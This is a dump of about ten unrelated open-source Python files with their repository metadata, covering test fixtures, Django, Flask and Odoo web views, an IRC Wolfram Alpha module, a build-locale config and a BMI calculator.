self.fixture() a.addExtension('201', 'Perico Palotes') self.assertEqual(a.extensions(), [ ('201','Perico Palotes <201>'), ]) def test_extensions_withMany(self): a = self.fixture() a.addExtension('201', 'Perico Palotes') a.addExtension('202', 'Juana Calamidad') self.assertEqual(a.extensions(), [ ('201','Perico Palotes <201>'), ('202','Juana Calamidad <202>'), ]) def test_clearExtensions(self): a = self.fixture() a.addExtension('201', 'Perico Palotes') a.clearExtensions() self.assertEqual(a.extensions(), [ ]) def test_removeExtensions(self): a = self.fixture() a.addExtension('201', 'Perico Palotes') a.addExtension('202', 'Juana Calamidad') a.removeExtension('201') self.assertEqual(a.extensions(), [ ('202','Juana Calamidad <202>'), ]) # vim: ts=4 sw=4 et
Som-Energia/somenergia-tomatic
tomatic/pbx/asteriskfake_test.py
Python
gpl-3.0
6,875
class intersperse: '''Generator that inserts a value before each element of an iterable ''' def __init__(self, value, iterable): self.value = value self.iterable = iterable self.return_value = True def __iter__(self): return self def __next__(self): if self.return_value: self.next_value = next( self.iterable ) r = self.value else: r = self.next_value self.return_value = not self.return_value return r
orting/emphysema-estimation
Scripts/Util.py
Python
gpl-3.0
538
""" WSGI config for captain project. This module contains the WSGI application used by Django's development server and any production WSGI deployments. It should expose a module-level variable named ``application``. Django's ``runserver`` and ``runfcgi`` commands discover this application via the ``WSGI_APPLICATION`` setting. Usually you will have the standard Django WSGI application here, but it also might make sense to replace the whole Django WSGI application with a custom one that later delegates to the Django one. For example, you could introduce WSGI middleware here, or combine a Django application with an application of another framework. """ import os import site # We defer to a DJANGO_SETTINGS_MODULE already in the environment. This breaks # if running multiple sites in the same mod_wsgi process. To fix this, use # mod_wsgi daemon mode with each site in its own daemon process, or use # os.environ["DJANGO_SETTINGS_MODULE"] = "captain.settings" os.environ.setdefault("DJANGO_SETTINGS_MODULE", "captain.settings") # Add the app dir to the python path so we can import manage. wsgidir = os.path.dirname(__file__) site.addsitedir(os.path.abspath(os.path.join(wsgidir, '../'))) # Manage adds /vendor to the Python path. import manage # This application object is used by any WSGI server configured to use this # file. This includes Django's development server, if the WSGI_APPLICATION # setting points here. from django.core.wsgi import get_wsgi_application application = get_wsgi_application() # Apply WSGI middleware here. # from helloworld.wsgi import HelloWorldApplication # application = HelloWorldApplication(application)
mozilla/captain
captain/wsgi.py
Python
mpl-2.0
1,653
#encoding: utf-8 from responsemodule import IModule import urllib import httplib2 import socket import xmltodict import re ''' Example config [walpha] app_id=1LALAL-2LALA3LAL4 timeout=6 ''' settings_name_g = u'walpha' api_key_g = u'app_id' timeout_g = u'timeout' class Wolfram(IModule): def __init__(self): self.settings = {api_key_g: None, timeout_g: None} self.shorten_url = None self.last_response = u'' def uses_settings(self): return True def get_command_patterns(self): return [('^\.(c|wa) (\S.*)', self.wolfAlpha)] def get_settings_name(self): return settings_name_g def get_configuration(self): return [(key, value) for (key, value) in self.settings.items() if not value is None] def set_configuration(self, settings): # fetch the settings for key, value in settings.items(): if key in settings: self.settings[key] = value # signal when the module wasn't properly configured try: if self.settings[api_key_g] is None or self.settings[timeout_g] is None: raise ValueError self.settings[timeout_g] = int(self.settings[timeout_g]) except ValueError: raise RuntimeError('Couldn\'t configure the module') def set_url_shortener(self, shortener): self.shorten_url = shortener.shorten_url # Functions that are needed for queries def wolfAlpha(self, nick, message, channel): result = self.__fetch_wolfAlpha(message) if result and result != self.last_response: self.last_response = result return result.encode('utf-8', errors='ignore') def __fetch_wolfAlpha(self, message): query = re.sub(r'^\.(c|wa)', u'', message.decode('utf-8'), re.UNICODE).encode('utf-8') query = query.strip(' \t\n\r') query = urllib.quote(query) queryurl = u'http://api.wolframalpha.com/v2/query?input={q}&appid={key}&format=plaintext&parsetimeout={timeout}&formattimeout={timeout}'.format( q = query, key = self.settings[api_key_g], timeout = self.settings[timeout_g]) # construct the url and shorten it if we can url = u'http://www.wolframalpha.com/input/?i={q}'.format(q = query) if not self.shorten_url is None: url = self.shorten_url(url) try: sock = httplib2.Http(timeout=self.settings[timeout_g]) headers, xml_response = sock.request(queryurl) if headers[u'status'] in (200, '200'): response = xmltodict.parse(xml_response) int_found = False res_found = False interpretation = u'' result = u'' # This statement throws an IndexError whenever wolframalpha cannot interpret the input pods = response[u'queryresult'][u'pod'] if(response[u'queryresult'][u'@numpods'] == u'1'): pods = [pods] for pod in pods: # Check if we can identify pods and they have information where we can fetch it if u'@id' in pod.keys() and \ pod[u'@numsubpods'] == 1 and u'plaintext' in pod[u'subpod'].keys(): if pod[u'@id'] == u'Input': interpretation = pod[u'subpod'][u'plaintext'] int_found = True elif pod[u'@id'] == u'Result': result = pod[u'subpod'][u'plaintext'] res_found = True if int_found and res_found: break if not int_found: interpretation = response[u'queryresult'][u'pod'][0][u'subpod'][u'plaintext'] if not res_found: ismain = lambda d: u'@primary' in d.keys() mainresult = filter(ismain, response[u'queryresult'][u'pod'])[0][u'subpod'] result = mainresult[u'plaintext'] return u'{inter}: {res} -- {link}'.format( inter = interpretation, res = result, link = url) except (socket.timeout, KeyError, TypeError, IndexError): return u'{}'.format(url)
undu/query-bot
wolfram/wolfram.py
Python
mpl-2.0
4,435
#from flask import Flask, request, Response import argparse import ConfigParser import flask import logging import os import shutil import sys import tempfile import time import senbonzakura.backend.core as core import senbonzakura.cache.cache as cache import senbonzakura.database.db as db import senbonzakura.backend.tasks as tasks import senbonzakura.utils.oddity as oddity DB_URI = None CACHE_URI = None __here__ = os.path.dirname(os.path.abspath(__file__)) app = flask.Flask(__name__) # Werkzeug logging #log = logging.getLogger('werkzeug') #log.setLevel(logging.INFO) @app.route('/') def index(): return "Welcome to Senbonzakura, the Partial MAR on demand Web-Service."\ "Please see https://wiki.mozilla.org/User:Ffledgling/Senbonzakura" @app.route('/partial', methods=['POST']) def trigger_partial(version='latest'): """ Needs params: mar_from, mar_to, mar_from_hash, mar_to_hash """ if version in app.config['unsupported_versions']: return flask.Response("{'result': 'Version %s of API is no longer supported'}" % version, status=410) # Flask's URL routing should prevent this from happening. if version not in app.config['supported_versions']: return flask.Response("{'result': 'Version %s of API does not exist'}" % version, status=400) else: # Some version specific code here? # We have nothing at the moment so leaving it as a stub pass cacheo = cache.Cache(app.config['CACHE_URI']) dbo = db.Database(app.config['DB_URI']) logging.debug('Parameters passed in : %s' % flask.request.form) required_params = ('mar_from', 'mar_to', 'mar_from_hash', 'mar_to_hash', 'channel_id', 'product_version') # Check we have all params if not all(param in flask.request.form.keys() for param in required_params): logging.info('Parameters could not we validated') flask.abort(400) # TODO: Validate params and values in form Ideally # These params are being pased to shell directly, we should probably sanitize them at some point. mar_from = flask.request.form['mar_from'] mar_to = flask.request.form['mar_to'] mar_from_hash = flask.request.form['mar_from_hash'] mar_to_hash = flask.request.form['mar_to_hash'] channel_id = flask.request.form['channel_id'] product_version = flask.request.form['product_version'] # TODO: Verify hashes and URLs are valid before returning the URL with a 201 # or return the concat anyway and just return a 202? # Try inserting into DB, if it fails, check error identifier = mar_from_hash+'-'+mar_to_hash url = flask.url_for('get_partial', identifier=identifier) if dbo.lookup(identifier=identifier): logging.info('Partial has already been triggered') resp = flask.Response( "{'result': '%s'}" % url, status=201, mimetype='application/json' ) return resp try: # error testing and parameter validation, maybe do this up close to checking # existence # If record already exists it makes no difference and the insert # 'proceeds' as expected. (It is logged at the DB level) dbo.insert(identifier=identifier, status=db.status_code['IN_PROGRESS'], start_timestamp=time.time()) #except oddity.DBError, e: except: # Any sort of error should result in a 500 on the client side and # nothing more, do we retry in such a situation or do we raise # warning bells? Ideally no error should reach this place. # Going with warning bells. logging.error('Error raised while processing trigger request for URL:', '%s\n' % url) resp = flask.Response( "{'result': 'Error processing request'}" % url, status=500, mimetype='application/json' ) return resp else: logging.info('calling generation functions') # Call generation functions here resp = flask.Response("{'result' : '%s'}" % url, status=202, mimetype='application/json') logging.critical('Calling build, should see immediate return after this') tasks.build_partial_mar.delay(mar_to, mar_to_hash, mar_from, mar_from_hash, identifier, channel_id, product_version) logging.critical('Called and moved on') return resp # If record exists, just say done # If other major error, do something else # TODO: Hook responses up with relengapi -- https://api.pub.build.mozilla.org/docs/development/api_methods/ dbo.close() return resp @app.route('/cache/<identifier>', methods=['GET']) def get_from_cache(identifier): """ URL to allow direct access to cache """ raise oddity.NotImplementedError() @app.route('/partial/<identifier>', methods=['GET']) def get_partial(identifier, version='latest'): logging.debug('Request recieved with headers : %s' % flask.request.headers) logging.debug('Got request with version %s' % version) if version in app.config['unsupported_versions']: return flask.Response("{'result': 'Version %s of API is no longer supported'}" % version, status=410) # Flask's URL routing should prevent this from happening. if version not in app.config['supported_versions']: return flask.Response("{'result': 'Version %s of API does not exist'}" % version, status=400) else: # Some version specific code here? # We have nothing at the moment so leaving it as a stub pass # Should these be in a try catch? cacheo = cache.Cache(app.config['CACHE_URI']) dbo = db.Database(app.config['DB_URI']) logging.debug('Cache and DB setup done') # Check DB state corresponding to URL # if "Completed", return blob and hash # if "Started", stall by inprogress error code # if "Invalid", return error code # if "does not exist", return different error code # FIXME: This try-except doesn't work anymore since we changed the # behaviour on lookup failure from raising a DBError to simply returning # None try: logging.debug('looking up record with identifier %s' % identifier) partial = dbo.lookup(identifier=identifier) except oddity.DBError: logging.warning('Record lookup for identifier %s failed' % identifier) resp = flask.Response("{'result':'partial does not exist'}", status=404) else: logging.debug('Record ID: %s' % identifier) status = partial.status if status == db.status_code['COMPLETED']: logging.info('Record found, status: COMPLETED') # Lookup DB and return blob # We'll want to stream the data to the client eventually, right now, # we can just throw it at the client just like that. # See -- http://stackoverflow.com/questions/7877282/how-to-send-image-generated-by-pil-to-browser return cacheo.retrieve(identifier, 'partial') elif status == db.status_code['ABORTED']: logging.info('Record found, status: ABORTED') # Something went wrong, what do we do? resp = flask.Response("{'result': '%s'}" % "Something went wrong while generating this partial", status=204) elif status == db.status_code['IN_PROGRESS']: logging.info('Record found, status: IN PROGRESS') # Stall still status changes resp = flask.Response("{'result': '%s'}" % "wait", status=202) elif status == db.status_code['INVALID']: logging.info('Record found, status: INVALID') # Not sure what this status code is even for atm. resp = flask.Response("{'result': '%s'}" % "invalid partial", status=204) else: # This should not happen logging.error('Record found, status: UNKNOWN') resp = flask.Response("{'result':'%s'}" % "Status of this partial is unknown", status=400) dbo.close() return resp def main(argv): """ Parse args, config files and perform configuration """ parser = argparse.ArgumentParser(description='Some description') parser.add_argument('-c', '--config-file', type=str, default='../configs/default.ini', required=False, dest='config_file', help='The application config file. INI format') args = parser.parse_args(argv) config_file = os.path.join(__here__, args.config_file) config = ConfigParser.ConfigParser() config.read(config_file) app.config['LOG_FILE']=config.get('log', 'file_path') app.config['DB_URI']=config.get('db', 'uri') app.config['CACHE_URI']=config.get('cache', 'uri') app.config['supported_versions']=[x.strip() for x in config.get('version', 'supported_versions').split(',')] app.config['unsupported_versions']=[x.strip() for x in config.get('version', 'unsupported_versions').split(',')] logging.info('Flask config at startup: %s' % app.config) if __name__ == '__main__': main(sys.argv[1:]) # Setup version handling based on versions specified in config file for version in app.config['unsupported_versions'] + app.config['supported_versions']: app.add_url_rule('/%s/partial' % version, 'trigger_partial', trigger_partial, methods=['POST'], defaults={'version':version}) app.add_url_rule('/%s/partial/<identifier>' % version, 'get_partial', view_func=get_partial, methods=['GET'], defaults={'version':version}) # Configure logging # TODO: Make logging configurabe from config file instead logging.basicConfig(level=logging.INFO) #formatter = logging.Formatter('%(asctime)s %(levelname)-8s: %(message)s ' # '[in %(pathname)s:%(lineno)d]') #file_handler = logging.FileHandler(app.config['LOG_FILE'], mode='a', encoding='UTF-8', delay=False) #file_handler.setFormatter(formatter) #file_handler.setLevel(logging.DEBUG) #console_handler = logging.StreamHandler() #console_handler.setFormatter(formatter) #console_handler.setLevel(logging.DEBUG) #app.logger.addHandler(file_handler) #app.logger.addHandler(console_handler) #rlogger = logging.getLogger('root') #print "Root logger state: " #pprint.pprint(rlogger.__dict__) #, rlogger.disabled#, rlogger.propogate #print "file_logger" #pprint.pprint(file_handler.__dict__) #pprint.pprint(app.logger.__dict__) # No of processes should also probably be configurable from a file # Start the application app.run(debug=False, host='0.0.0.0', processes=6)
ffledgling/Senbonzakura
senbonzakura/frontend/api.py
Python
mpl-2.0
10,807
from flask import current_app, flash, abort from willow.app import willow_signals from slugify import slugify from willow.models import db, mixins class Venue(db.Model, mixins.WLWMixin): pass
undergroundtheater/willow
willow/models/venue.py
Python
mpl-2.0
198
import os config = { # mozconfig file to use, it depends on branch and platform names "platform": "macosx64", "update_platform": "Darwin_x86_64-gcc3", "mozconfig": "%(branch)s/browser/config/mozconfigs/macosx-universal/l10n-mozconfig", "bootstrap_env": { "SHELL": '/bin/bash', "MOZ_OBJDIR": "obj-l10n", "EN_US_BINARY_URL": "%(en_us_binary_url)s", "MOZ_UPDATE_CHANNEL": "%(update_channel)s", "MOZ_SYMBOLS_EXTRA_BUILDID": "macosx64", "MOZ_PKG_PLATFORM": "mac", # "IS_NIGHTLY": "yes", "DIST": "%(abs_objdir)s", "LOCALE_MERGEDIR": "%(abs_merge_dir)s/", "L10NBASEDIR": "../../l10n", "MOZ_MAKE_COMPLETE_MAR": "1", "LOCALE_MERGEDIR": "%(abs_merge_dir)s/", }, "ssh_key_dir": "~/.ssh", "log_name": "single_locale", "objdir": "obj-l10n", "js_src_dir": "js/src", "make_dirs": ['config'], "vcs_share_base": "/builds/hg-shared", "upload_env_extra": { "MOZ_PKG_PLATFORM": "mac", }, # tooltool 'tooltool_url': 'https://api.pub.build.mozilla.org/tooltool/', 'tooltool_script': ["/builds/tooltool.py"], 'tooltool_bootstrap': "setup.sh", 'tooltool_manifest_src': 'browser/config/tooltool-manifests/macosx64/releng.manifest', # balrog credential file: 'balrog_credentials_file': 'oauth.txt', # l10n "ignore_locales": ["en-US"], "l10n_dir": "l10n", "locales_file": "%(branch)s/browser/locales/all-locales", "locales_dir": "browser/locales", "hg_l10n_base": "https://hg.mozilla.org/l10n-central", "hg_l10n_tag": "default", "merge_locales": True, # MAR "previous_mar_dir": "dist/previous", "current_mar_dir": "dist/current", "update_mar_dir": "dist/update", # sure? "previous_mar_filename": "previous.mar", "current_work_mar_dir": "current.work", "package_base_dir": "dist/l10n-stage", "application_ini": "Contents/Resources/application.ini", "buildid_section": 'App', "buildid_option": "BuildID", "unpack_script": "tools/update-packaging/unwrap_full_update.pl", "incremental_update_script": "tools/update-packaging/make_incremental_update.sh", "balrog_release_pusher_script": "scripts/updates/balrog-release-pusher.py", "update_packaging_dir": "tools/update-packaging", "local_mar_tool_dir": "dist/host/bin", "mar": "mar", "mbsdiff": "mbsdiff", "current_mar_filename": "firefox-%(version)s.%(locale)s.mac.complete.mar", "complete_mar": "firefox-%(version)s.en-US.mac.complete.mar", "localized_mar": "firefox-%(version)s.%(locale)s.mac.complete.mar", "partial_mar": "firefox-%(version)s.%(locale)s.mac.partial.%(from_buildid)s-%(to_buildid)s.mar", 'installer_file': "firefox-%(version)s.en-US.mac.dmg", 'exes': { 'hgtool.py': os.path.join( os.getcwd(), 'build', 'tools', 'buildfarm', 'utils', 'hgtool.py' ), }, }
armenzg/build-mozharness
configs/single_locale/macosx64.py
Python
mpl-2.0
2,942
# -*- coding: utf-8 -*- # This file is part of Shuup. # # Copyright (c) 2012-2016, Shoop Ltd. All rights reserved. # # This source code is licensed under the AGPLv3 license found in the # LICENSE file in the root directory of this source tree. from __future__ import unicode_literals from django.http import JsonResponse from django.utils.translation import ugettext_lazy as _ from django.utils.translation import ugettext from shuup.admin.utils.picotable import ChoicesFilter, Column, TextFilter from shuup.admin.utils.views import PicotableListView from shuup.core.models import Product, StockBehavior, Supplier from shuup.simple_supplier.forms import AlertLimitForm, StockAdjustmentForm from shuup.simple_supplier.models import StockCount from shuup.simple_supplier.utils import ( get_stock_adjustment_div, get_stock_information_div_id, get_stock_information_html ) class StocksListView(PicotableListView): template_name = "shuup/simple_supplier/admin/base_picotable.jinja" model = Product default_columns = [ Column( "sku", _("SKU"), sort_field="product__sku", display="product__sku", linked=True, filter_config=TextFilter(filter_field="product__sku", placeholder=_("Filter by SKU...")) ), Column( "name", _("Name"), sort_field="product__translations__name", display="product__name", linked=True, filter_config=TextFilter(filter_field="product__translations__name", placeholder=_("Filter by name...")) ), Column( "supplier", _("Supplier"), display="supplier", linked=False, filter_config=ChoicesFilter(Supplier.objects.filter(module_identifier="simple_supplier")) ), Column( "stock_information", _("Stock information"), display="get_stock_information", linked=False, sortable=False, raw=True ), Column( "adjust_stock", _("Adjust stock"), display="get_stock_adjustment_form", sortable=False, linked=False, raw=True ) ] def __init__(self): super(StocksListView, self).__init__() self.columns = self.default_columns def get_object_abstract(self, instance, item): item.update({"_linked_in_mobile": False, "_url": self.get_object_url(instance.product)}) return [ {"text": item.get("name"), "class": "header"}, {"title": "", "text": item.get("sku")}, {"title": "", "text": " ", "raw": item.get("stock_information")}, {"title": "", "text": " ", "raw": item.get("adjust_stock")}, ] def get_queryset(self): return StockCount.objects.filter( supplier__module_identifier="simple_supplier", product__stock_behavior=StockBehavior.STOCKED, product__deleted=False ).order_by("product__id") def get_context_data(self, **kwargs): context = super(PicotableListView, self).get_context_data(**kwargs) context["toolbar"] = None context["title"] = _("Stock management") return context def get_stock_information(self, instance): return get_stock_information_html(instance.supplier, instance.product) def get_stock_adjustment_form(self, instance): return get_stock_adjustment_div(self.request, instance.supplier, instance.product) def get_adjustment_success_message(stock_adjustment): arguments = { "delta": stock_adjustment.delta, "unit_short_name": stock_adjustment.product.sales_unit.short_name, "product_name": stock_adjustment.product.name, "supplier_name": stock_adjustment.supplier.name } if stock_adjustment.delta > 0: return _( "Added %(delta)s %(unit_short_name)s for product %(product_name)s stock (%(supplier_name)s)" ) % arguments else: return _( "Removed %(delta)s %(unit_short_name)s from product %(product_name)s stock (%(supplier_name)s)" ) % arguments def _process_stock_adjustment(form, request, supplier_id, product_id): data = form.cleaned_data supplier = Supplier.objects.get(id=supplier_id) stock_adjustment = supplier.module.adjust_stock( product_id, delta=data.get("delta"), purchase_price=data.get("purchase_price"), created_by=request.user ) success_message = { "stockInformationDiv": "#%s" % get_stock_information_div_id( stock_adjustment.supplier, stock_adjustment.product), "updatedStockInformation": get_stock_information_html( stock_adjustment.supplier, stock_adjustment.product), "message": get_adjustment_success_message(stock_adjustment) } return JsonResponse(success_message, status=200) def process_stock_adjustment(request, supplier_id, product_id): return _process_and_catch_errors( _process_stock_adjustment, StockAdjustmentForm, request, supplier_id, product_id) def _process_alert_limit(form, request, supplier_id, product_id): supplier = Supplier.objects.get(id=supplier_id) product = Product.objects.get(id=product_id) sc = StockCount.objects.get(supplier=supplier, product=product) data = form.cleaned_data sc.alert_limit = data.get("alert_limit") sc.save() supplier = Supplier.objects.get(id=supplier_id) success_message = { "stockInformationDiv": "#%s" % get_stock_information_div_id(supplier, product), "updatedStockInformation": get_stock_information_html(supplier, product), "message": _("Alert limit for product %(product_name)s set to %(value)s.") % { "product_name": product.name, "value": sc.alert_limit}, } return JsonResponse(success_message, status=200) def process_alert_limit(request, supplier_id, product_id): return _process_and_catch_errors( _process_alert_limit, AlertLimitForm, request, supplier_id, product_id) def _process_and_catch_errors(process, form_class, request, supplier_id, product_id): try: if request.method != "POST": raise Exception(_("Not allowed")) form = form_class(request.POST) if form.is_valid(): return process(form, request, supplier_id, product_id) error_message = ugettext("Error, please check submitted values and try again.") return JsonResponse({"message": error_message}, status=400) except Exception as exc: error_message = ugettext( "Error, please check submitted values and try again (%(error)s).") % {"error": exc} return JsonResponse({"message": error_message}, status=400)
shawnadelic/shuup
shuup/simple_supplier/admin_module/views.py
Python
agpl-3.0
6,626
from django.conf import settings from django.core.exceptions import ObjectDoesNotExist from django.utils.translation import ugettext as _ from django.core.urlresolvers import reverse from samklang_menu.widgets import Widget from samklang_pages.models import Page class Image(Widget): """Image widget for adding an image""" def render(self, request): #print self.options retval = u""" <img class="%(class)s" src="%(src)s" alt="%(alt)s" /> """ % { 'class': self.options.get('class', ''), 'src': self.options.get('src', ''), 'alt': self.options.get('alt', ''), } return retval class StaticPage(Widget): """Fill in the contents of another static page into a widget""" def render(self, request): url = self.options.get('url') try: page = Page.objects.get(site=request.site, url=url) if not page.group or page.group in request.user.groups.all(): ret = '<div class="widget">' if request.user.is_superuser: ret += '<div class="widget-context-menu"><a href="%(edit-url)s" title="%(edit-help-text)s">%(edit-link-text)s</a></div>' % { 'edit-url': reverse('pages-page-edit', args=(page.id,)), 'edit-help-text': _('Edit'), 'edit-link-text': "&#9998;", } ret += '%(content)s</div>' % { 'content': page.content_html, } return ret else: return "" except ObjectDoesNotExist: return u"" class Slider(Widget): def render(self, request): """Render slider widget using options from json field""" javascript = u""" <script src="%(STATIC_URL)sjs/slides.min.jquery.js"></script> <script> $(function(){ $('#slides').slides({ preload: true, preloadImage: '%(STATIC_URL)simg/loading.gif', play: 8000, pause: 2000, hoverPause: true, animationStart: function(current){ $('.caption').animate({ bottom:-35 },100); }, animationComplete: function(current){ $('.caption').animate({ bottom:0 },200); }, slidesLoaded: function() { $('.caption').animate({ bottom:0 },200); } }); }); </script> """ % {"STATIC_URL": settings.STATIC_URL} slides = [ u"""<div class="slide"><a href="%(url)s" title="%(title)s"><img src="%(src)s" width="386" height="283" alt="%(alt)s"></a><div class="caption" style="bottom:0"><p>%(title)s</p></div></div>""" % {'url': slide.get('url', slide.get('src')), 'title': slide.get('title', ''), 'alt': slide.get('alt', slide.get('title', '')), 'src': slide.get('src', '') } for slide in self.options.get("slides") ] html = u"""<div id="slides"><div class="slides_container">""" + "".join(slides) + u"""</div></div><img src="/static/img/frame.png" width="452" height="338" alt="Frame" id="frame">""" return javascript + html
sigurdga/samklang-pages
samklang_pages/widgets.py
Python
agpl-3.0
3,204
# -*- coding: utf-8 -*- # This file is part of wger Workout Manager. # # wger Workout Manager is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # wger Workout Manager is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with Workout Manager. If not, see <http://www.gnu.org/licenses/>. # Standard Library import json import logging # Django from django.contrib.auth.decorators import login_required from django.http import HttpResponse from django.shortcuts import render # wger from wger.nutrition.forms import BmiForm from wger.utils import helpers logger = logging.getLogger(__name__) """ BMI views """ @login_required def view(request): """ The BMI calculator detail page """ context = {} form_data = { 'height': request.user.userprofile.height, 'weight': request.user.userprofile.weight } context['form'] = BmiForm(initial=form_data) return render(request, 'bmi/form.html', context) @login_required def calculate(request): """ Calculates the BMI """ data = [] form = BmiForm(request.POST, instance=request.user.userprofile) if form.is_valid(): form.save() # Create a new weight entry as needed request.user.userprofile.user_bodyweight(form.cleaned_data['weight']) bmi = request.user.userprofile.calculate_bmi() result = { 'bmi': '{0:.2f}'.format(bmi), 'weight': form.cleaned_data['weight'], 'height': request.user.userprofile.height, } data = json.dumps(result, cls=helpers.DecimalJsonEncoder) # Return the results to the client return HttpResponse(data, 'application/json') def chart_data(request): """ Returns the data to render the BMI chart The individual values taken from * http://apps.who.int/bmi/index.jsp?introPage=intro_3.html * https://de.wikipedia.org/wiki/Body-Mass-Index """ if request.user.userprofile.use_metric: data = json.dumps( [ { 'key': 'filler', 'height': 150, 'weight': 30 }, { 'key': 'filler', 'height': 200, 'weight': 30 }, { 'key': 'severe_thinness', 'height': 150, 'weight': 35.978 }, { 'key': 'severe_thinness', 'height': 200, 'weight': 63.960 }, { 'key': 'moderate_thinness', 'height': 150, 'weight': 38.228 }, { 'key': 'moderate_thinness', 'height': 200, 'weight': 67.960 }, { 'key': 'mild_thinness', 'height': 150, 'weight': 41.603 }, { 'key': 'mild_thinness', 'height': 200, 'weight': 73.960 }, { 'key': 'normal_range', 'height': 150, 'weight': 56.228 }, { 'key': 'normal_range', 'height': 200, 'weight': 99.960 }, { 'key': 'pre_obese', 'height': 150, 'weight': 67.478 }, { 'key': 'pre_obese', 'height': 200, 'weight': 119.960 }, { 'key': 'obese_class_1', 'height': 150, 'weight': 78.728 }, { 'key': 'obese_class_1', 'height': 200, 'weight': 139.960 }, { 'key': 'obese_class_2', 'height': 150, 'weight': 89.978 }, { 'key': 'obese_class_2', 'height': 200, 'weight': 159.960 }, { 'key': 'obese_class_3', 'height': 150, 'weight': 90 }, { 'key': 'obese_class_3', 'height': 200, 'weight': 190 } ] ) else: data = json.dumps( [ { 'key': 'filler', 'height': 150, 'weight': 66.139 }, { 'key': 'filler', 'height': 200, 'weight': 66.139 }, { 'key': 'severe_thinness', 'height': 150, 'weight': 79.317 }, { 'key': 'severe_thinness', 'height': 200, 'weight': 141.008 }, { 'key': 'moderate_thinness', 'height': 150, 'weight': 84.277 }, { 'key': 'moderate_thinness', 'height': 200, 'weight': 149.826 }, { 'key': 'mild_thinness', 'height': 150, 'weight': 91.718 }, { 'key': 'mild_thinness', 'height': 200, 'weight': 163.054 }, { 'key': 'normal_range', 'height': 150, 'weight': 123.960 }, { 'key': 'normal_range', 'height': 200, 'weight': 220.374 }, { 'key': 'pre_obese', 'height': 150, 'weight': 148.762 }, { 'key': 'pre_obese', 'height': 200, 'weight': 264.467 }, { 'key': 'obese_class_1', 'height': 150, 'weight': 173.564 }, { 'key': 'obese_class_1', 'height': 200, 'weight': 308.559 }, { 'key': 'obese_class_2', 'height': 150, 'weight': 198.366 }, { 'key': 'obese_class_2', 'height': 200, 'weight': 352.651 }, { 'key': 'obese_class_3', 'height': 150, 'weight': 198.416 }, { 'key': 'obese_class_3', 'height': 200, 'weight': 352.740 } ] ) # Return the results to the client return HttpResponse(data, 'application/json')
wger-project/wger
wger/nutrition/views/bmi.py
Python
agpl-3.0
7,575
# -*- coding: utf-8 -*- import is_suivi_facture import is_suivi_refacturation_associe import is_suivi_intervention import is_account_invoice_line
tonygalmiche/is_coheliance
report/__init__.py
Python
agpl-3.0
147
# -*- coding: utf-8 -*- ############################################################################## # # Author: Santi Argüeso # Copyright 2014 Pexego Sistemas Informáticos S.L. # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # ############################################################################## from openerp import models, fields, api from datetime import datetime class stock_deposit(models.Model): _name = 'stock.deposit' _description = "Deposits" _inherit = ['mail.thread', 'ir.needaction_mixin'] product_id = fields.Many2one(string='Product', related='move_id.product_id', store=True, readonly=True) product_uom_qty = fields.Float('Product qty', related='move_id.product_uom_qty', store=True, readonly=True) product_uom = fields.Many2one(related='move_id.product_uom', string='Uom', store=True, readonly=True) invoice_id = fields.Many2one('account.invoice', 'Invoice') move_id = fields.Many2one('stock.move', 'Deposit Move', required=True, readonly=True, ondelete='cascade', select=1) picking_id = fields.Many2one(related='move_id.picking_id', string='Picking', store=True, readonly=True) partner_id = fields.Many2one(related='move_id.partner_id', string='Destination Address', store=True, readonly=True) sale_id = fields.Many2one(related='move_id.procurement_id.sale_line_id.order_id', string='Sale', store=True, readonly=True) delivery_date = fields.Datetime('Date of Transfer') return_date = fields.Date('Return date') company_id = fields.Many2one(related='move_id.company_id', string='Date of Transfer', store=True, readonly=True) state = fields.Selection([('draft', 'Draft'), ('sale', 'Sale'), ('returned', 'Returned'), ('invoiced', 'Invoiced'), ('loss', 'Loss')], 'State', readonly=True, required=True) sale_move_id = fields.Many2one('stock.move', 'Sale Move', required=False, readonly=True, ondelete='cascade', select=1) sale_picking_id = fields.Many2one(related='sale_move_id.picking_id', string='Sale picking', readonly=True) return_picking_id = fields.Many2one('stock.picking', 'Return Picking', required=False, readonly=True, ondelete='cascade', select=1) loss_move_id = fields.Many2one('stock.move', 'Loss Move', required=False, readonly=True, ondelete='cascade', select=1) loss_picking_id = fields.Many2one(related='loss_move_id.picking_id', string='Loss picking', readonly=True) user_id = fields.Many2one('res.users', 'Comercial', required=False, readonly=False, ondelete='cascade', select=1) cost_subtotal = fields.Float('Cost', related='move_id.cost_subtotal', store=True, readonly=True) @api.multi def sale(self): move_obj = self.env['stock.move'] picking_type_id = self.env.ref('stock.picking_type_out') for deposit in self: procurement_id = deposit.sale_id.procurement_group_id picking = self.env['stock.picking'].create( {'picking_type_id': picking_type_id.id, 'partner_id': deposit.partner_id.id, 'origin': deposit.sale_id.name, 'date_done': datetime.now(), 'invoice_state': '2binvoiced', 'commercial': deposit.user_id.id, 'group_id': procurement_id.id}) values = { 'product_id': deposit.product_id.id, 'product_uom_qty': deposit.product_uom_qty, 'product_uom': deposit.product_uom.id, 'partner_id': deposit.partner_id.id, 'name': 'Sale Deposit: ' + deposit.move_id.name, 'location_id': deposit.move_id.location_dest_id.id, 'location_dest_id': deposit.partner_id.property_stock_customer.id, 'invoice_state': '2binvoiced', 'picking_id': picking.id, 'procurement_id': deposit.move_id.procurement_id.id, 'commercial': deposit.user_id.id, 'group_id': procurement_id.id } move = move_obj.create(values) move.action_confirm() move.force_assign() move.action_done() deposit.write({'state': 'sale', 'sale_move_id': move.id}) @api.one def _prepare_deposit_move(self, picking, group): deposit_id = self.env.ref('stock_deposit.stock_location_deposit') move_template = { 'name': 'RET' or '', 'product_id': self.product_id.id, 'product_uom': self.product_uom.id, 'product_uom_qty': self.product_uom_qty, 'product_uos': self.product_uom.id, 'location_id': deposit_id.id, 'location_dest_id': picking.picking_type_id.default_location_dest_id.id, 'picking_id': picking.id, 'partner_id': self.partner_id.id, 'move_dest_id': 